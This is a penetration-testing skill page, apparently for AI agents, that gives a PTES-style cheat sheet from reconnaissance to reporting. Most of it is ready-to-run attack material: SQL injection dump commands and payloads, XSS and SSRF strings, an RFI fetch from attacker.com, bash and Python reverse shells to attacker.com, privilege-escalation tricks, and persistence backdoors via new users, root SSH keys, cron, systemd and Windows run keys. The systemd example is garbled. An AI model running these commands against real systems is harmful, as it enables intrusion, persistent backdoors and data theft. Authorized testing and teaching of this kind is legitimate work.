Penetration Testing

Penetration Testing

Offensive security skill for ethical hacking, vulnerability exploitation, and security assessment. Covers the full penetration testing lifecycle from reconnaissance to reporting.

> "The best defense is a good offense." — Know your enemy to protect yourself.

---

🎯 When to Use

• Conducting security assessments or penetration tests
• Learning ethical hacking techniques
• Red team exercises
• Bug bounty hunting
• Vulnerability research and exploitation
• Security awareness training

---

🗺️ PTES Methodology Overview

Phase 1: Pre-Engagement Interactions
    └─ Scope definition, rules of engagement, legal agreements

Phase 2: Intelligence Gathering (Reconnaissance)
    └─ OSINT, passive/active recon, target enumeration

Phase 3: Threat Modeling
    └─ Identify high-value targets, attack vectors

Phase 4: Vulnerability Analysis
    └─ Automated scanning, manual verification

Phase 5: Exploitation
    └─ Gain access, prove impact

Phase 6: Post-Exploitation
    └─ Privilege escalation, lateral movement, persistence

Phase 7: Reporting
    └─ Executive summary, technical findings, remediation

---

🔍 Phase 2: Reconnaissance

Passive Reconnaissance (OSINT)

# Subdomain enumeration
subfinder -d example.com -o subdomains.txt
amass enum -d example.com -o amass.txt
assetfinder --subs-only example.com

# DNS enumeration
dnsrecon -d example.com -t axfr
dnsenum example.com

# WHOIS & metadata
whois example.com
theHarvester -d example.com -b all

# GitHub recon (secrets, credentials)
git-dumper https://github.com/org/repo ./repo
truffleHog --regex --entropy=False https://github.com/org/repo

# Google dorks
site:example.com filetype:pdf
site:example.com intitle:"index of"
intext:"password" site:example.com

Active Reconnaissance

# Port scanning
nmap -sS -sV -O -p- --top-ports 1000 target.com
nmap -sV --script=vuln target.com

# Service enumeration
nmap -sV -p 80,443,8080 --script=http-enum target.com
nmap -sV -p 21,22,23,25,53,80,110,143,443,3306,3389,5432,8080 target.com

# Web technology detection
whatweb target.com
wappalyzer target.com

# Directory/file brute-forcing
gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt -x php,txt,html
dirb http://target.com /usr/share/wordlists/dirb/common.txt
ffuf -u http://target.com/FUZZ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt

---

🔬 Phase 4: Vulnerability Analysis

Web Application Scanning

# Automated scanning
nikto -h http://target.com
zaproxy -cmd -quickurl http://target.com -quickout report.html

# CMS scanning
wpscan --url http://target.com --enumerate ap,at,cb,dbe
joomscan -u http://target.com
droopescan scan drupal -u http://target.com

# SSL/TLS testing
sslscan target.com
testssl.sh target.com
nmap --script ssl-enum-ciphers -p 443 target.com

Manual Verification

# Check for common misconfigurations
curl -I http://target.com/robots.txt
curl -I http://target.com/.git/config
curl -I http://target.com/.env
curl -I http://target.com/backup.zip
curl -I http://target.com/phpinfo.php

# HTTP methods testing
curl -X OPTIONS http://target.com -i
curl -X PUT http://target.com/test.txt -d "test"

# CORS misconfiguration
curl -H "Origin: https://evil.com" -I http://target.com

---

💥 Phase 5: Exploitation

SQL Injection

# Detection
sqlmap -u "http://target.com/page.php?id=1" --batch --level=2
sqlmap -u "http://target.com/page.php?id=1" --dbs --batch
sqlmap -u "http://target.com/page.php?id=1" -D database --tables --batch
sqlmap -u "http://target.com/page.php?id=1" -D database -T users --dump --batch

# Manual testing
# Error-based
' OR 1=1 -- -
" OR 1=1 -- -
') OR ('1'='1

# Union-based
' UNION SELECT null,null,null -- -
' UNION SELECT username,password,null FROM users -- -

# Blind (time-based)
' OR SLEEP(5) -- -
' OR pg_sleep(5) -- -

Cross-Site Scripting (XSS)

alert('XSS')

">alert('XSS')
'-->alert('XSS')

#
javascript:alert('XSS')

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//\x3csVg/\x3e

Command Injection

# Basic detection
target.com/page?cmd=whoami
target.com/page?cmd=$(whoami)
target.com/page?cmd=`whoami`

# Reverse shell (if command injection confirmed)
bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("attacker.com",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

Server-Side Request Forgery (SSRF)

# Basic SSRF
curl http://target.com/fetch?url=http://169.254.169.254/latest/meta-data/
curl http://target.com/fetch?url=file:///etc/passwd

# Bypass filters
curl http://target.com/fetch?url=http://0177.0.0.1/
curl http://target.com/fetch?url=http://2130706433/
curl http://target.com/fetch?url=http://0x7f000001/

Local File Inclusion (LFI) / Remote File Inclusion (RFI)

# LFI
http://target.com/page?file=../../../etc/passwd
http://target.com/page?file=../../../../../../etc/passwd
http://target.com/page?file=php://filter/read=convert.base64-encode/resource=index.php

# RFI
http://target.com/page?file=http://attacker.com/shell.txt

XML External Entity (XXE)

]>
&xxe;

%xxe;
]>
&data;

---

🏴 Phase 6: Post-Exploitation

Privilege Escalation (Linux)

# Information gathering
id
whoami
uname -a
cat /etc/os-release
find / -perm -4000 -type f 2>/dev/null  # SUID binaries
find / -perm -2000 -type f 2>/dev/null  # SGID binaries
cat /etc/sudoers
crontab -l

# Common exploits
# Kernel exploits
uname -r  # Check kernel version
searchsploit linux kernel $(uname -r)

# SUID exploitation
# If find has SUID: find . -exec /bin/sh -p \; -quit
# If vim has SUID: vim -c ':!/bin/sh'
# If less has SUID: less /etc/passwd -> !/bin/sh

# Sudo abuse
sudo -l
# If sudo allows specific commands without password
sudo -u#-1 /bin/bash  # CVE-2019-14287

# Capabilities
capsh --print
getcap -r / 2>/dev/null

Privilege Escalation (Windows)

# Information gathering
whoami /all
systeminfo
net user
net localgroup administrators
Get-Process
Get-Service

# Common exploits
# Unquoted service paths
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\Windows\\" | findstr /i /v """
# If path has spaces and no quotes: C:\Program Files\Vuln Service\service.exe
# Place payload at C:\Program.exe

# AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# If enabled: msiexec /quiet /qn /i C:\Users\Public\payload.msi

# Potato family exploits (NTLM relay)
# JuicyPotato, RoguePotato, SweetPotato

Lateral Movement

# Pass-the-hash (PTH)
pth-smbclient -U user%hash //target/share
pth-winexe -U user%hash //target cmd

# Pass-the-ticket (PTT)
# Extract ticket with Mimikatz, inject with Rubeus

# SSH key pivoting
# If you find private keys: ssh -i id_rsa user@target

# Port forwarding
ssh -L 8080:internal-target:80 user@pivot-host
ssh -D 1080 user@pivot-host  # SOCKS proxy

Persistence

# Linux
# Add user
useradd -m -s /bin/bash backdoor
passwd backdoor

# SSH key
mkdir -p /root/.ssh
echo "ssh-rsa AAAA..." >> /root/.ssh/authorized_keys

# Cron job
echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'" | crontab -

# Systemd service
cat > /etc/systemd/system/backdoor.service & /dev/tcp/attacker.com/4444 0>&1'
Restart=always

[Install]
WantedBy=multi-user.target
EOF
systemctl enable backdoor

# Windows
# Registry run key
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Backdoor /t REG_SZ /d "C:\backdoor.exe" /f

# Scheduled task
schtasks /create /tn "Backdoor" /tr "C:\backdoor.exe" /sc minute /mo 1

# WMI persistence
# Use PowerShell Empire or Cobalt Strike for WMI events

---

📊 Phase 7: Reporting

Report Structure

1. Executive Summary
   - Risk rating (Critical/High/Medium/Low)
   - Business impact
   - Key recommendations

2. Technical Findings
   For each vulnerability:
   - Title & Severity (CVSS v3.1)
   - Description
   - Proof of Concept (PoC)
   - Impact
   - Remediation

3. Appendices
   - Tools used
   - Scope & methodology
   - Test timeline

CVSS v3.1 Scoring

| Severity | Score Range | Response Time | |----------|-------------|---------------| | Critical | 9.0-10.0 | Immediate | | High | 7.0-8.9 | 30 days | | Medium | 4.0-6.9 | 60 days | | Low | 0.1-3.9 | 90 days |

---

🛠️ Essential Tools

| Category | Tools | |----------|-------| | Recon | subfinder, amass, theHarvester, dnsrecon, whois | | Scanning | nmap, masscan, rustscan | | Web | Burp Suite, ZAP, nikto, gobuster, ffuf, sqlmap | | Exploitation | Metasploit, Cobalt Strike, Sliver | | Post-Exploitation | Mimikatz, Rubeus, BloodHound, SharpHound | | Reporting | Dradis, Faraday, DefectDojo |

---

⚠️ Legal & Ethical Guidelines

• Always have written authorization before testing
• Never test systems you don't own or have permission to test
• Minimize impact on target systems
• Report findings responsibly
• Destroy all data collected after engagement

---

📚 References

• PTES Technical Guidelines
• OWASP Testing Guide
• HackTricks
• PayloadsAllTheThings
• Penetration Testing: A Hands-On Introduction to Hacking

Source & license

This open-source skill is cataloged on AgentStack and links to its original source — we do not rehost the code.

• Author: kinhluan
• Source: kinhluan/skills
• License: MIT

Install and usage instructions live in the source repository linked above.